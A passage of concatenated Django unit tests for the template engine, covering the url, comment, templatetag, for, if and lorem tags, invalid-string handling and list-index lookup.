        with self.assertRaises(NoReverseMatch):
            self.engine.render_to_string('url-fail03')

    @setup({'url-fail04': '{% url "view" id, %}'})
    def test_url_fail04(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail04')

    @setup({'url-fail05': '{% url "view" id= %}'})
    def test_url_fail05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail05')

    @setup({'url-fail06': '{% url "view" a.id=id %}'})
    def test_url_fail06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail06')

    @setup({'url-fail07': '{% url "view" a.id!id %}'})
    def test_url_fail07(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail07')

    @setup({'url-fail08': '{% url "view" id="unterminatedstring %}'})
    def test_url_fail08(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail08')

    @setup({'url-fail09': '{% url "view" id=", %}'})
    def test_url_fail09(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('url-fail09')

    @setup({'url-fail11': '{% url named_url %}'})
    def test_url_fail11(self):
        with self.assertRaises(NoReverseMatch):
            self.engine.render_to_string('url-fail11')

    @setup({'url-fail12': '{% url named_url %}'})
    def test_url_fail12(self):
        with self.assertRaises(NoReverseMatch):
            self.engine.render_to_string('url-fail12', {'named_url': 'no_such_view'})

    @setup({'url-fail13': '{% url named_url %}'})
    def test_url_fail13(self):
        with self.assertRaises(NoReverseMatch):
            self.engine.render_to_string('url-fail13', {'named_url': 'template_tests.views.client'})

    @setup({'url-fail14': '{% url named_url id, %}'})
    def test_url_fail14(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('url-fail14', {'named_url': 'view'})

    @setup({'url-fail15': '{% url named_url id= %}'})
    def test_url_fail15(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('url-fail15', {'named_url': 'view'})

    @setup({'url-fail16': '{% url named_url a.id=id %}'})
    def test_url_fail16(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('url-fail16', {'named_url': 'view'})

    @setup({'url-fail17': '{% url named_url a.id!id %}'})
    def test_url_fail17(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('url-fail17', {'named_url': 'view'})

    @setup({'url-fail18': '{% url named_url id="unterminatedstring %}'})
    def test_url_fail18(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('url-fail18', {'named_url': 'view'})

    @setup({'url-fail19': '{% url named_url id=", %}'})
    def test_url_fail19(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('url-fail19', {'named_url': 'view'})

    # {% url ... as var %}
    @setup({'url-asvar01': '{% url "index" as url %}'})
    def test_url_asvar01(self):
        output = self.engine.render_to_string('url-asvar01')
        self.assertEqual(output, '')

    @setup({'url-asvar02': '{% url "index" as url %}{{ url }}'})
    def test_url_asvar02(self):
        output = self.engine.render_to_string('url-asvar02')
        self.assertEqual(output, '/')

    @setup({'url-asvar03': '{% url "no_such_view" as url %}{{ url }}'})
    def test_url_asvar03(self):
        output = self.engine.render_to_string('url-asvar03')
        self.assertEqual(output, '')

    @setup({'url-namespace01': '{% url "app:named.client" 42 %}'})
    def test_url_namespace01(self):
        request = RequestFactory().get('/')
        request.resolver_match = resolve('/ns1/')
        template = self.engine.get_template('url-namespace01')
        context = RequestContext(request)
        output = template.render(context)
        self.assertEqual(output, '/ns1/named-client/42/')

    @setup({'url-namespace02': '{% url "app:named.client" 42 %}'})
    def test_url_namespace02(self):
        request = RequestFactory().get('/')
        request.resolver_match = resolve('/ns2/')
        template = self.engine.get_template('url-namespace02')
        context = RequestContext(request)
        output = template.render(context)
        self.assertEqual(output, '/ns2/named-client/42/')

    @setup({'url-namespace03': '{% url "app:named.client" 42 %}'})
    def test_url_namespace03(self):
        request = RequestFactory().get('/')
        template = self.engine.get_template('url-namespace03')
        context = RequestContext(request)
        output = template.render(context)
        self.assertEqual(output, '/ns2/named-client/42/')

    @setup({'url-namespace-no-current-app': '{% url "app:named.client" 42 %}'})
    def test_url_namespace_no_current_app(self):
        request = RequestFactory().get('/')
        request.resolver_match = resolve('/ns1/')
        request.current_app = None
        template = self.engine.get_template('url-namespace-no-current-app')
        context = RequestContext(request)
        output = template.render(context)
        self.assertEqual(output, '/ns2/named-client/42/')

    @setup({'url-namespace-explicit-current-app': '{% url "app:named.client" 42 %}'})
    def test_url_namespace_explicit_current_app(self):
        request = RequestFactory().get('/')
        request.resolver_match = resolve('/ns1/')
        request.current_app = 'app'
        template = self.engine.get_template('url-namespace-explicit-current-app')
        context = RequestContext(request)
        output = template.render(context)
        self.assertEqual(output, '/ns2/named-client/42/')






from django.test import SimpleTestCase

from ..utils import setup


class CommentSyntaxTests(SimpleTestCase):

    @setup({'comment-syntax01': '{# this is hidden #}hello'})
    def test_comment_syntax01(self):
        output = self.engine.render_to_string('comment-syntax01')
        self.assertEqual(output, 'hello')

    @setup({'comment-syntax02': '{# this is hidden #}hello{# foo #}'})
    def test_comment_syntax02(self):
        output = self.engine.render_to_string('comment-syntax02')
        self.assertEqual(output, 'hello')

    @setup({'comment-syntax03': 'foo{#  {% if %}  #}'})
    def test_comment_syntax03(self):
        output = self.engine.render_to_string('comment-syntax03')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax04': 'foo{#  {% endblock %}  #}'})
    def test_comment_syntax04(self):
        output = self.engine.render_to_string('comment-syntax04')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax05': 'foo{#  {% somerandomtag %}  #}'})
    def test_comment_syntax05(self):
        output = self.engine.render_to_string('comment-syntax05')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax06': 'foo{# {% #}'})
    def test_comment_syntax06(self):
        output = self.engine.render_to_string('comment-syntax06')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax07': 'foo{# %} #}'})
    def test_comment_syntax07(self):
        output = self.engine.render_to_string('comment-syntax07')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax08': 'foo{# %} #}bar'})
    def test_comment_syntax08(self):
        output = self.engine.render_to_string('comment-syntax08')
        self.assertEqual(output, 'foobar')

    @setup({'comment-syntax09': 'foo{# {{ #}'})
    def test_comment_syntax09(self):
        output = self.engine.render_to_string('comment-syntax09')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax10': 'foo{# }} #}'})
    def test_comment_syntax10(self):
        output = self.engine.render_to_string('comment-syntax10')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax11': 'foo{# { #}'})
    def test_comment_syntax11(self):
        output = self.engine.render_to_string('comment-syntax11')
        self.assertEqual(output, 'foo')

    @setup({'comment-syntax12': 'foo{# } #}'})
    def test_comment_syntax12(self):
        output = self.engine.render_to_string('comment-syntax12')
        self.assertEqual(output, 'foo')

    @setup({'comment-tag01': '{% comment %}this is hidden{% endcomment %}hello'})
    def test_comment_tag01(self):
        output = self.engine.render_to_string('comment-tag01')
        self.assertEqual(output, 'hello')

    @setup({'comment-tag02': '{% comment %}this is hidden{% endcomment %}'
                             'hello{% comment %}foo{% endcomment %}'})
    def test_comment_tag02(self):
        output = self.engine.render_to_string('comment-tag02')
        self.assertEqual(output, 'hello')

    @setup({'comment-tag03': 'foo{% comment %} {% if %} {% endcomment %}'})
    def test_comment_tag03(self):
        output = self.engine.render_to_string('comment-tag03')
        self.assertEqual(output, 'foo')

    @setup({'comment-tag04': 'foo{% comment %} {% endblock %} {% endcomment %}'})
    def test_comment_tag04(self):
        output = self.engine.render_to_string('comment-tag04')
        self.assertEqual(output, 'foo')

    @setup({'comment-tag05': 'foo{% comment %} {% somerandomtag %} {% endcomment %}'})
    def test_comment_tag05(self):
        output = self.engine.render_to_string('comment-tag05')
        self.assertEqual(output, 'foo')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class TemplateTagTests(SimpleTestCase):

    @setup({'templatetag01': '{% templatetag openblock %}'})
    def test_templatetag01(self):
        output = self.engine.render_to_string('templatetag01')
        self.assertEqual(output, '{%')

    @setup({'templatetag02': '{% templatetag closeblock %}'})
    def test_templatetag02(self):
        output = self.engine.render_to_string('templatetag02')
        self.assertEqual(output, '%}')

    @setup({'templatetag03': '{% templatetag openvariable %}'})
    def test_templatetag03(self):
        output = self.engine.render_to_string('templatetag03')
        self.assertEqual(output, '{{')

    @setup({'templatetag04': '{% templatetag closevariable %}'})
    def test_templatetag04(self):
        output = self.engine.render_to_string('templatetag04')
        self.assertEqual(output, '}}')

    @setup({'templatetag05': '{% templatetag %}'})
    def test_templatetag05(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('templatetag05')

    @setup({'templatetag06': '{% templatetag foo %}'})
    def test_templatetag06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('templatetag06')

    @setup({'templatetag07': '{% templatetag openbrace %}'})
    def test_templatetag07(self):
        output = self.engine.render_to_string('templatetag07')
        self.assertEqual(output, '{')

    @setup({'templatetag08': '{% templatetag closebrace %}'})
    def test_templatetag08(self):
        output = self.engine.render_to_string('templatetag08')
        self.assertEqual(output, '}')

    @setup({'templatetag09': '{% templatetag openbrace %}{% templatetag openbrace %}'})
    def test_templatetag09(self):
        output = self.engine.render_to_string('templatetag09')
        self.assertEqual(output, '{{')

    @setup({'templatetag10': '{% templatetag closebrace %}{% templatetag closebrace %}'})
    def test_templatetag10(self):
        output = self.engine.render_to_string('templatetag10')
        self.assertEqual(output, '}}')

    @setup({'templatetag11': '{% templatetag opencomment %}'})
    def test_templatetag11(self):
        output = self.engine.render_to_string('templatetag11')
        self.assertEqual(output, '{#')

    @setup({'templatetag12': '{% templatetag closecomment %}'})
    def test_templatetag12(self):
        output = self.engine.render_to_string('templatetag12')
        self.assertEqual(output, '#}')






from django.test import SimpleTestCase

from ..utils import setup


class InvalidStringTests(SimpleTestCase):
    libraries = {'i18n': 'django.templatetags.i18n'}

    @setup({'invalidstr01': '{{ var|default:"Foo" }}'})
    def test_invalidstr01(self):
        output = self.engine.render_to_string('invalidstr01')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, 'Foo')

    @setup({'invalidstr02': '{{ var|default_if_none:"Foo" }}'})
    def test_invalidstr02(self):
        output = self.engine.render_to_string('invalidstr02')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'invalidstr03': '{% for v in var %}({{ v }}){% endfor %}'})
    def test_invalidstr03(self):
        output = self.engine.render_to_string('invalidstr03')
        self.assertEqual(output, '')

    @setup({'invalidstr04': '{% if var %}Yes{% else %}No{% endif %}'})
    def test_invalidstr04(self):
        output = self.engine.render_to_string('invalidstr04')
        self.assertEqual(output, 'No')

    @setup({'invalidstr04_2': '{% if var|default:"Foo" %}Yes{% else %}No{% endif %}'})
    def test_invalidstr04_2(self):
        output = self.engine.render_to_string('invalidstr04_2')
        self.assertEqual(output, 'Yes')

    @setup({'invalidstr05': '{{ var }}'})
    def test_invalidstr05(self):
        output = self.engine.render_to_string('invalidstr05')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'invalidstr06': '{{ var.prop }}'})
    def test_invalidstr06(self):
        output = self.engine.render_to_string('invalidstr06')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'invalidstr07': '{% load i18n %}{% blocktrans %}{{ var }}{% endblocktrans %}'})
    def test_invalidstr07(self):
        output = self.engine.render_to_string('invalidstr07')
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')






from django.test import SimpleTestCase

from ..utils import setup


class ListIndexTests(SimpleTestCase):

    @setup({'list-index01': '{{ var.1 }}'})
    def test_list_index01(self):
        """
        List-index syntax allows a template to access a certain item of a
        subscriptable object.
        """
        output = self.engine.render_to_string('list-index01', {'var': ['first item', 'second item']})
        self.assertEqual(output, 'second item')

    @setup({'list-index02': '{{ var.5 }}'})
    def test_list_index02(self):
        """
        Fail silently when the list index is out of range.
        """
        output = self.engine.render_to_string('list-index02', {'var': ['first item', 'second item']})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'list-index03': '{{ var.1 }}'})
    def test_list_index03(self):
        """
        Fail silently when the list index is out of range.
        """
        output = self.engine.render_to_string('list-index03', {'var': None})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'list-index04': '{{ var.1 }}'})
    def test_list_index04(self):
        """
        Fail silently when variable is a dict without the specified key.
        """
        output = self.engine.render_to_string('list-index04', {'var': {}})
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'INVALID')
        else:
            self.assertEqual(output, '')

    @setup({'list-index05': '{{ var.1 }}'})
    def test_list_index05(self):
        """
        Dictionary lookup wins out when dict's key is a string.
        """
        output = self.engine.render_to_string('list-index05', {'var': {'1': "hello"}})
        self.assertEqual(output, 'hello')

    @setup({'list-index06': '{{ var.1 }}'})
    def test_list_index06(self):
        """
        But list-index lookup wins out when dict's key is an int, which
        behind the scenes is really a dictionary lookup (for a dict)
        after converting the key to an int.
        """
        output = self.engine.render_to_string('list-index06', {"var": {1: "hello"}})
        self.assertEqual(output, 'hello')

    @setup({'list-index07': '{{ var.1 }}'})
    def test_list_index07(self):
        """
        Dictionary lookup wins out when there is a string and int version
        of the key.
        """
        output = self.engine.render_to_string('list-index07', {"var": {'1': "hello", 1: "world"}})
        self.assertEqual(output, 'hello')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import setup


class ForTagTests(SimpleTestCase):
    libraries = {'custom': 'template_tests.templatetags.custom'}

    @setup({'for-tag01': '{% for val in values %}{{ val }}{% endfor %}'})
    def test_for_tag01(self):
        output = self.engine.render_to_string('for-tag01', {'values': [1, 2, 3]})
        self.assertEqual(output, '123')

    @setup({'for-tag02': '{% for val in values reversed %}{{ val }}{% endfor %}'})
    def test_for_tag02(self):
        output = self.engine.render_to_string('for-tag02', {'values': [1, 2, 3]})
        self.assertEqual(output, '321')

    @setup({'for-tag-vars01': '{% for val in values %}{{ forloop.counter }}{% endfor %}'})
    def test_for_tag_vars01(self):
        output = self.engine.render_to_string('for-tag-vars01', {'values': [6, 6, 6]})
        self.assertEqual(output, '123')

    @setup({'for-tag-vars02': '{% for val in values %}{{ forloop.counter0 }}{% endfor %}'})
    def test_for_tag_vars02(self):
        output = self.engine.render_to_string('for-tag-vars02', {'values': [6, 6, 6]})
        self.assertEqual(output, '012')

    @setup({'for-tag-vars03': '{% for val in values %}{{ forloop.revcounter }}{% endfor %}'})
    def test_for_tag_vars03(self):
        output = self.engine.render_to_string('for-tag-vars03', {'values': [6, 6, 6]})
        self.assertEqual(output, '321')

    @setup({'for-tag-vars04': '{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}'})
    def test_for_tag_vars04(self):
        output = self.engine.render_to_string('for-tag-vars04', {'values': [6, 6, 6]})
        self.assertEqual(output, '210')

    @setup({'for-tag-vars05': '{% for val in values %}'
                              '{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}'})
    def test_for_tag_vars05(self):
        output = self.engine.render_to_string('for-tag-vars05', {'values': [6, 6, 6]})
        self.assertEqual(output, 'fxx')

    @setup({'for-tag-vars06': '{% for val in values %}'
                              '{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}'})
    def test_for_tag_vars06(self):
        output = self.engine.render_to_string('for-tag-vars06', {'values': [6, 6, 6]})
        self.assertEqual(output, 'xxl')

    @setup({'for-tag-unpack01': '{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack01(self):
        output = self.engine.render_to_string('for-tag-unpack01', {'items': (('one', 1), ('two', 2))})
        self.assertEqual(output, 'one:1/two:2/')

    @setup({'for-tag-unpack03': '{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack03(self):
        output = self.engine.render_to_string('for-tag-unpack03', {'items': (('one', 1), ('two', 2))})
        self.assertEqual(output, 'one:1/two:2/')

    @setup({'for-tag-unpack04': '{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack04(self):
        output = self.engine.render_to_string('for-tag-unpack04', {'items': (('one', 1), ('two', 2))})
        self.assertEqual(output, 'one:1/two:2/')

    @setup({'for-tag-unpack05': '{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack05(self):
        output = self.engine.render_to_string('for-tag-unpack05', {'items': (('one', 1), ('two', 2))})
        self.assertEqual(output, 'one:1/two:2/')

    @setup({'for-tag-unpack06': '{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack06(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('for-tag-unpack06', {'items': (('one', 1), ('two', 2))})

    @setup({'for-tag-unpack07': '{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack07(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('for-tag-unpack07', {'items': (('one', 1), ('two', 2))})

    @setup({'for-tag-unpack08': '{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}'})
    def test_for_tag_unpack08(self):
        with self.assertRaises(TemplateSyntaxError):
            self.engine.render_to_string('for-tag-unpack08', {'items': (('one', 1), ('two', 2))})

    @setup({'for-tag-unpack09': '{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}'})
    def test_for_tag_unpack09(self):
        """
        Ensure that a single loopvar doesn't truncate the list in val.
        """
        output = self.engine.render_to_string('for-tag-unpack09', {'items': (('one', 1), ('two', 2))})
        self.assertEqual(output, 'one:1/two:2/')

    @setup({'for-tag-unpack13': '{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}'})
    def test_for_tag_unpack13(self):
        output = self.engine.render_to_string(
            'for-tag-unpack13', {'items': (('one', 1, 'carrot'), ('two', 2, 'cheese'))}
        )
        if self.engine.string_if_invalid:
            self.assertEqual(output, 'one:1,carrot/two:2,cheese/')
        else:
            self.assertEqual(output, 'one:1,carrot/two:2,cheese/')

    @setup({'for-tag-empty01': '{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}'})
    def test_for_tag_empty01(self):
        output = self.engine.render_to_string('for-tag-empty01', {'values': [1, 2, 3]})
        self.assertEqual(output, '123')

    @setup({'for-tag-empty02': '{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}'})
    def test_for_tag_empty02(self):
        output = self.engine.render_to_string('for-tag-empty02', {'values': []})
        self.assertEqual(output, 'values array empty')

    @setup({'for-tag-empty03': '{% for val in values %}'
                               '{{ val }}{% empty %}values array not found{% endfor %}'})
    def test_for_tag_empty03(self):
        output = self.engine.render_to_string('for-tag-empty03')
        self.assertEqual(output, 'values array not found')

    @setup({'for-tag-filter-ws': "{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"})
    def test_for_tag_filter_ws(self):
        """
        #19882
        """
        output = self.engine.render_to_string('for-tag-filter-ws', {'s': 'abc'})
        self.assertEqual(output, 'abc')

    @setup({'for-tag-unpack-strs': '{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}'})
    def test_for_tag_unpack_strs(self):
        output = self.engine.render_to_string('for-tag-unpack-strs', {'items': ('ab', 'ac')})
        self.assertEqual(output, 'a:b/a:c/')

    @setup({'for-tag-unpack10': '{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}'})
    def test_for_tag_unpack10(self):
        with self.assertRaisesMessage(ValueError, 'Need 2 values to unpack in for loop; got 3.'):
            self.engine.render_to_string(
                'for-tag-unpack10',
                {'items': (('one', 1, 'carrot'), ('two', 2, 'orange'))},
            )

    @setup({'for-tag-unpack11': '{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}'})
    def test_for_tag_unpack11(self):
        with self.assertRaisesMessage(ValueError, 'Need 3 values to unpack in for loop; got 2.'):
            self.engine.render_to_string(
                'for-tag-unpack11',
                {'items': (('one', 1), ('two', 2))},
            )

    @setup({'for-tag-unpack12': '{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}'})
    def test_for_tag_unpack12(self):
        with self.assertRaisesMessage(ValueError, 'Need 3 values to unpack in for loop; got 2.'):
            self.engine.render_to_string(
                'for-tag-unpack12',
                {'items': (('one', 1, 'carrot'), ('two', 2))}
            )

    @setup({'for-tag-unpack14': '{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}'})
    def test_for_tag_unpack14(self):
        with self.assertRaisesMessage(ValueError, 'Need 2 values to unpack in for loop; got 1.'):
            self.engine.render_to_string('for-tag-unpack14', {'items': (1, 2)})






from django.test import SimpleTestCase

from ..utils import setup


class LoremTagTests(SimpleTestCase):

    @setup({'lorem1': '{% lorem 3 w %}'})
    def test_lorem1(self):
        output = self.engine.render_to_string('lorem1')
        self.assertEqual(output, 'lorem ipsum dolor')






from django.template import TemplateSyntaxError
from django.test import SimpleTestCase

from ..utils import TestObj, setup


class IfTagTests(SimpleTestCase):

    @setup({'if-tag01': '{% if foo %}yes{% else %}no{% endif %}'})
    def test_if_tag01(self):
        output = self.engine.render_to_string('if-tag01', {'foo': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag02': '{% if foo %}yes{% else %}no{% endif %}'})
    def test_if_tag02(self):
        output = self.engine.render_to_string('if-tag02', {'foo': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag03': '{% if foo %}yes{% else %}no{% endif %}'})
    def test_if_tag03(self):
        output = self.engine.render_to_string('if-tag03')
        self.assertEqual(output, 'no')

    @setup({'if-tag04': '{% if foo %}foo{% elif bar %}bar{% endif %}'})
    def test_if_tag04(self):
        output = self.engine.render_to_string('if-tag04', {'foo': True})
        self.assertEqual(output, 'foo')

    @setup({'if-tag05': '{% if foo %}foo{% elif bar %}bar{% endif %}'})
    def test_if_tag05(self):
        output = self.engine.render_to_string('if-tag05', {'bar': True})
        self.assertEqual(output, 'bar')

    @setup({'if-tag06': '{% if foo %}foo{% elif bar %}bar{% endif %}'})
    def test_if_tag06(self):
        output = self.engine.render_to_string('if-tag06')
        self.assertEqual(output, '')

    @setup({'if-tag07': '{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}'})
    def test_if_tag07(self):
        output = self.engine.render_to_string('if-tag07', {'foo': True})
        self.assertEqual(output, 'foo')

    @setup({'if-tag08': '{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}'})
    def test_if_tag08(self):
        output = self.engine.render_to_string('if-tag08', {'bar': True})
        self.assertEqual(output, 'bar')

    @setup({'if-tag09': '{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}'})
    def test_if_tag09(self):
        output = self.engine.render_to_string('if-tag09')
        self.assertEqual(output, 'nothing')

    @setup({'if-tag10': '{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}'})
    def test_if_tag10(self):
        output = self.engine.render_to_string('if-tag10', {'foo': True})
        self.assertEqual(output, 'foo')

    @setup({'if-tag11': '{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}'})
    def test_if_tag11(self):
        output = self.engine.render_to_string('if-tag11', {'bar': True})
        self.assertEqual(output, 'bar')

    @setup({'if-tag12': '{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}'})
    def test_if_tag12(self):
        output = self.engine.render_to_string('if-tag12', {'baz': True})
        self.assertEqual(output, 'baz')

    @setup({'if-tag13': '{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}'})
    def test_if_tag13(self):
        output = self.engine.render_to_string('if-tag13')
        self.assertEqual(output, 'nothing')

    # Filters
    @setup({'if-tag-filter01': '{% if foo|length == 5 %}yes{% else %}no{% endif %}'})
    def test_if_tag_filter01(self):
        output = self.engine.render_to_string('if-tag-filter01', {'foo': 'abcde'})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-filter02': '{% if foo|upper == \'ABC\' %}yes{% else %}no{% endif %}'})
    def test_if_tag_filter02(self):
        output = self.engine.render_to_string('if-tag-filter02')
        self.assertEqual(output, 'no')

    # Equality
    @setup({'if-tag-eq01': '{% if foo == bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_eq01(self):
        output = self.engine.render_to_string('if-tag-eq01')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-eq02': '{% if foo == bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_eq02(self):
        output = self.engine.render_to_string('if-tag-eq02', {'foo': 1})
        self.assertEqual(output, 'no')

    @setup({'if-tag-eq03': '{% if foo == bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_eq03(self):
        output = self.engine.render_to_string('if-tag-eq03', {'foo': 1, 'bar': 1})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-eq04': '{% if foo == bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_eq04(self):
        output = self.engine.render_to_string('if-tag-eq04', {'foo': 1, 'bar': 2})
        self.assertEqual(output, 'no')

    @setup({'if-tag-eq05': '{% if foo == \'\' %}yes{% else %}no{% endif %}'})
    def test_if_tag_eq05(self):
        output = self.engine.render_to_string('if-tag-eq05')
        self.assertEqual(output, 'no')

    # Inequality
    @setup({'if-tag-noteq01': '{% if foo != bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_noteq01(self):
        output = self.engine.render_to_string('if-tag-noteq01')
        self.assertEqual(output, 'no')

    @setup({'if-tag-noteq02': '{% if foo != bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_noteq02(self):
        output = self.engine.render_to_string('if-tag-noteq02', {'foo': 1})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-noteq03': '{% if foo != bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_noteq03(self):
        output = self.engine.render_to_string('if-tag-noteq03', {'foo': 1, 'bar': 1})
        self.assertEqual(output, 'no')

    @setup({'if-tag-noteq04': '{% if foo != bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_noteq04(self):
        output = self.engine.render_to_string('if-tag-noteq04', {'foo': 1, 'bar': 2})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-noteq05': '{% if foo != "" %}yes{% else %}no{% endif %}'})
    def test_if_tag_noteq05(self):
        output = self.engine.render_to_string('if-tag-noteq05')
        self.assertEqual(output, 'yes')

    # Comparison
    @setup({'if-tag-gt-01': '{% if 2 > 1 %}yes{% else %}no{% endif %}'})
    def test_if_tag_gt_01(self):
        output = self.engine.render_to_string('if-tag-gt-01')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-gt-02': '{% if 1 > 1 %}yes{% else %}no{% endif %}'})
    def test_if_tag_gt_02(self):
        output = self.engine.render_to_string('if-tag-gt-02')
        self.assertEqual(output, 'no')

    @setup({'if-tag-gte-01': '{% if 1 >= 1 %}yes{% else %}no{% endif %}'})
    def test_if_tag_gte_01(self):
        output = self.engine.render_to_string('if-tag-gte-01')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-gte-02': '{% if 1 >= 2 %}yes{% else %}no{% endif %}'})
    def test_if_tag_gte_02(self):
        output = self.engine.render_to_string('if-tag-gte-02')
        self.assertEqual(output, 'no')

    @setup({'if-tag-lt-01': '{% if 1 < 2 %}yes{% else %}no{% endif %}'})
    def test_if_tag_lt_01(self):
        output = self.engine.render_to_string('if-tag-lt-01')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-lt-02': '{% if 1 < 1 %}yes{% else %}no{% endif %}'})
    def test_if_tag_lt_02(self):
        output = self.engine.render_to_string('if-tag-lt-02')
        self.assertEqual(output, 'no')

    @setup({'if-tag-lte-01': '{% if 1 <= 1 %}yes{% else %}no{% endif %}'})
    def test_if_tag_lte_01(self):
        output = self.engine.render_to_string('if-tag-lte-01')
        self.assertEqual(output, 'yes')

    @setup({'if-tag-lte-02': '{% if 2 <= 1 %}yes{% else %}no{% endif %}'})
    def test_if_tag_lte_02(self):
        output = self.engine.render_to_string('if-tag-lte-02')
        self.assertEqual(output, 'no')

    # Contains
    @setup({'if-tag-in-01': '{% if 1 in x %}yes{% else %}no{% endif %}'})
    def test_if_tag_in_01(self):
        output = self.engine.render_to_string('if-tag-in-01', {'x': [1]})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-in-02': '{% if 2 in x %}yes{% else %}no{% endif %}'})
    def test_if_tag_in_02(self):
        output = self.engine.render_to_string('if-tag-in-02', {'x': [1]})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not-in-01': '{% if 1 not in x %}yes{% else %}no{% endif %}'})
    def test_if_tag_not_in_01(self):
        output = self.engine.render_to_string('if-tag-not-in-01', {'x': [1]})
        self.assertEqual(output, 'no')

    @setup({'if-tag-not-in-02': '{% if 2 not in x %}yes{% else %}no{% endif %}'})
    def test_if_tag_not_in_02(self):
        output = self.engine.render_to_string('if-tag-not-in-02', {'x': [1]})
        self.assertEqual(output, 'yes')

    # AND
    @setup({'if-tag-and01': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and01(self):
        output = self.engine.render_to_string('if-tag-and01', {'foo': True, 'bar': True})
        self.assertEqual(output, 'yes')

    @setup({'if-tag-and02': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and02(self):
        output = self.engine.render_to_string('if-tag-and02', {'foo': True, 'bar': False})
        self.assertEqual(output, 'no')

    @setup({'if-tag-and03': '{% if foo and bar %}yes{% else %}no{% endif %}'})
    def test_if_tag_and03(self):
